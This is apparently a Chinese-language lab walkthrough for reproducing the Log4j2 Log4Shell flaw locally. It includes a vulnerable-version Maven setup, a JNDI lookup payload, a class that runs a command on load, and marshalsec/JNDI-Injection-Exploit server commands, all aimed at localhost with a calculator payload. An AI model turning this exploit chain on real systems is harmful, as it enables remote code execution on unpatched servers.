漏洞就不說了,大家都在加班吧哈哈。然后直接進入正題
環境准備
1.可以直接去vulhub下集成環境
2.自己建maven項目導入log4j2的包即可
我vulhub的環境還沒下,用的第二種
首先maven引入
<!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core --> <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-core</artifactId> <version>2.14.1</version> </dependency> <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-api</artifactId> <version>2.14.1</version> </dependency>
然后在resource下創建log4j2.xml
內容我沒細看網上抄的,日志路徑改下就行,有懂的師傅別噴
<?xml version="1.0" encoding="UTF-8"?> <configuration status="error"> <!--先定義所有的appender --> <appenders> <!--這個輸出控制台的配置 --> <Console name="Console" target="SYSTEM_OUT"> <!-- 控制台只輸出level及以上級別的信息(onMatch),其他的直接拒絕(onMismatch) --> <ThresholdFilter level="trace" onMatch="ACCEPT" onMismatch="DENY"/> <!-- 這個都知道是輸出日志的格式 --> <PatternLayout pattern="%d{HH:mm:ss.SSS} %-5level %class{36} %L %M - %msg%xEx%n"/> </Console> <!--文件會打印出所有信息,這個log每次運行程序會自動清空,由append屬性決定,這個也挺有用的,適合臨時測試用 --> <!--append為TRUE表示消息增加到指定文件中,false表示消息覆蓋指定的文件內容,默認值是true --> <File name="log" fileName="E:/m_project/src/main/log4gRCE/log4j2.log" append="false"> <PatternLayout pattern="%d{HH:mm:ss.SSS} %-5level %class{36} %L %M - %msg%xEx%n"/> </File> <!--添加過濾器ThresholdFilter,可以有選擇的輸出某個級別以上的類別 onMatch="ACCEPT" onMismatch="DENY"意思是匹配就接受,否則直接拒絕 --> <File name="ERROR" fileName="E:/m_project/src/main/log4gRCE/error.log"> <ThresholdFilter level="error" onMatch="ACCEPT" onMismatch="DENY"/> <PatternLayout pattern="%d{yyyy.MM.dd 'at' HH:mm:ss z} %-5level %class{36} %L %M - %msg%xEx%n"/> </File> <!--這個會打印出所有的信息,每次大小超過size,則這size大小的日志會自動存入按年份-月份建立的文件夾下面並進行壓縮,作為存檔 --> <RollingFile name="RollingFile" fileName="E:/m_project/src/main/log4gRCE/web.log" filePattern="logs/$${date:yyyy-MM}/web-%d{MM-dd-yyyy}-%i.log.gz"> <PatternLayout pattern="%d{yyyy-MM-dd 'at' HH:mm:ss z} %-5level %class{36} %L %M - %msg%xEx%n"/> <SizeBasedTriggeringPolicy size="2MB"/> </RollingFile> </appenders> <!--然后定義logger,只有定義了logger並引入的appender,appender才會生效 --> <loggers> <root level="trace"> <appender-ref ref="RollingFile"/> <appender-ref ref="Console"/> <appender-ref ref="ERROR" /> <appender-ref ref="log"/> </root> </loggers> </configuration>
創建poc
import org.apache.logging.log4j.Level; import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; public class Log4jRCE { private static Logger logger = LogManager.getLogger(Log4jRCE.class); public static void main(String[] args) { //jdk高版本必須 System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true"); System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true"); //logger.info("${jndi:ldap://127.0.0.1:1389/wkcpkh}");//JNDI-Injection方式 logger.info("${jndi:ldap://127.0.0.1:1389/aa}");//這個aa是瞎填的,填別的也可以,但必須要有 } }
利用工具
這里我用了兩種工具分別去做:
1.marshalsec-0.0.3-SNAPSHOT-all.jar
2.JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
這里用第一種是有坑點的,很多復現不出來的小伙伴可能是這里的問題,所以單純為了復現我推薦第二種工具
JNDI-Injection
先看這種工具,運行 java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc" -A "127.0.0.1"
它會運行三個服務,8180web服務,1099 rmi服務 ,1389 ldap服務
它會幫你構建好惡意類地址和ldap服務,在poc中JNDI-Injection方式運行即可(注意替換url)
marshalsec
這種方式比較費事,而且有兩個大坑
首先先起一個http服務,模擬我們的vps,我用python3起的,其它方式也可
python -m http.server
然后寫一個惡意類,這里第一個坑來了,如果你習慣用idea寫代碼run去編譯的話,很容易出錯
因為你的編輯器會自動給你加入package路徑,但是服務器觸發你的惡意類時,服務器上並沒有此路徑,你會得到Exception in thread "main" java.lang.NoClassDefFoundError的報錯
所以你應該使用javac編譯,惡意類代碼如下
public class TestExec { public TestExec(){ } static { try { String var0 = "calc"; Runtime.getRuntime().exec(var0); } catch (Exception var1) { var1.printStackTrace(); } System.out.println(); } }
這其實就是JNDI-Injection生成的,我們直接拿來用了。
現在啟動marshalsec提供一個ldap服務
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8080/m_project/#TestExec
井號后門是惡意類名,路徑為你啟動服務的路徑
到這里基本就可以了,但是一定要注意我上面poc中的注釋,你去訪問marshalsec的ldap服務時如果不加入隨機路徑,就會得到如下所示
這很明顯是一個object,但並沒有執行靜態代碼,具體原因未知
而加入隨機路徑后得到的是
並且彈出了計算器